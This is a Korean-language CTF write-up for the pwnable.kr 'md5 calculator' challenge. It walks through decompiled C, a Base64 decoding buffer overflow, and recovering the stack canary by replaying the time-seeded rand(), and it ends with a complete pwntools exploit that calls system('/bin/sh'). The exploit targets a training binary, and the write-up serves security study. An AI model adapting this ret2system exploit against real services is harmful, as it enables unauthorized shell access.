Search

[pwnable.kr] md5 calculator

tag
write-up
Last edited time
2022/01/07 12:50
Category
pwnable.kr
Visibility
Public

1. 문제

1) mitigation 확인
PIE가 안걸려있다.
2) 문제 확인
처음에 captcha를 입력하면, base64로 인코딩된 데이터를 입력하라고 한다. 그리고 md5 해시값을 준다.
3) 코드흐름 파악
unsigned int my_hash() { signed int i; // [esp+0h] [ebp-38h] int v2[8]; // [esp+Ch] [ebp-2Ch] unsigned int canary; // [esp+2Ch] [ebp-Ch] canary = __readgsdword(0x14u); for ( i = 0; i <= 7; ++i ) v2[i] = rand(); return v2[4] - v2[6] + v2[7] + canary + v2[2] - v2[3] + v2[1] + v2[5]; }
C
복사
처음 captcha 값은 srand(time(0)) 으로 랜덤화된 rand() 값을 총 8번 돌린후, 연산들 통해 계산된 값이다. 이를 통해 역연산을 하고, 카나리 값을 유추할수 있다.
unsigned int process_hash() { signed int size; // ST14_4 char *ptr; // ST18_4 char buf[512]; // [esp+1Ch] [ebp-20Ch] unsigned int v4; // [esp+21Ch] [ebp-Ch] v4 = __readgsdword(0x14u); memset(buf, 0, sizeof(buf)); while ( getchar() != '\n' ) ; memset(encode_buf, 0, sizeof(encode_buf)); fgets(encode_buf, 0x400, stdin); memset(buf, 0, sizeof(buf)); size = Base64Decode(encode_buf, (int)buf); ptr = calc_md5((int)buf, size); printf("MD5(data) : %s\n", ptr); free(ptr); return __readgsdword(0x14u) ^ v4; }
C
복사
encode_buf는 bss영역에 존재하는 0x400 사이즈 배열이다. 최대 0x400 입력하면 encode_buf에 들어가고, 0x200 사이즈 크기인 buf 배열과 함께 Base64Decode 함수를 호출한다. 해당 함수에서 디코딩이 진행된다.
int __cdecl Base64Decode(const char *g_buf, int buf) { signed int v2; // ST2C_4 FILE *stream; // ST34_4 int v4; // eax int v5; // ST38_4 int v6; // eax int v7; // ST3C_4 v2 = calcDecodeLength(g_buf); stream = (FILE *)fmemopen((int)g_buf, strlen(g_buf), (int)&unk_8049272); v4 = BIO_f_base64(); v5 = BIO_new(v4); v6 = BIO_new_fp(stream, 0); v7 = BIO_push(v5, v6); BIO_set_flags(v7, 0x100); *(_BYTE *)(buf + BIO_read(v7, buf, strlen(g_buf))) = 0; BIO_free_all(v7); fclose(stream); return v2; }
C
복사
Base64Decode 함수를 보면 BIO_read() 함수를 통해 실제 디코딩 된 데이터가 buf에 들어가게된다. 헌데 g_buf , 즉 encode_buf사이는 0x400인데 이걸 buf에 넣게 되고 여기서 bof가 발생한다.

2. 접근방법

bof가 가능하고 카나리를 뽑을수 있다. 시스템 함수 plt도 알고 있으니, bss에 /bin/sh 넣고, 리턴값에 시스템 함수를 넣으면 끝이다.

3. 풀이

from pwn import * from ctypes import * from ctypes.util import find_library import base64 context(log_level='DEBUG') #p=process('./hash') p=remote('pwnable.kr',9002) #gdb.attach(p) libc = CDLL(find_library('c')) libc.srand(libc.time(0)) v2 = [ libc.rand() for i in range(8)] log.info(v2) p.recvuntil('captcha : ') s=int(p.recvuntil('\n')[:-1]) canary=(s-v2[1]-v2[2]+v2[3]-v2[4]-v2[5]+v2[6]-v2[7])&0xffffffff log.info(hex(canary)) p.sendline(str(s)) p.recvuntil('me!\n') payload='A'*0x200 payload+=p32(canary) payload+=p32(0x41)*3 payload+=p32(0x8048880) payload+=p32(0) payload+=p32(0x804b3b0) encoded_text = base64.encodestring(payload).replace('\n','')+"/bin/sh\x00" pause() p.sendline(encoded_text) p.interactive()
Python
복사

4. 몰랐던 개념

요건 결국 롸업을 봐버렸다. 어케하다가 카나리가 덮혀서 bof가 가능할꺼같았는데 결국 못풀고...
우선 해당문제를 통해 libc = CDLL(find_library('c')) 요렇게도 c 라이브러리 이용할수 있다는걸 알았고, 중간에 삽질한건 fgets로 0x400 정도 데이터를 넣었는데 자꾸 0x4d? 정도까지밖에 데이터가 안들어가서 뭐지뭐지 했는데 보니까 중간중간 개행이 들어가 있었다 ;;
분석좀 잘하자. my_hash() 함수는 그냥 볼필요 없을줄알았던 나의 착오가 너무 컸다 츠발
참고한 글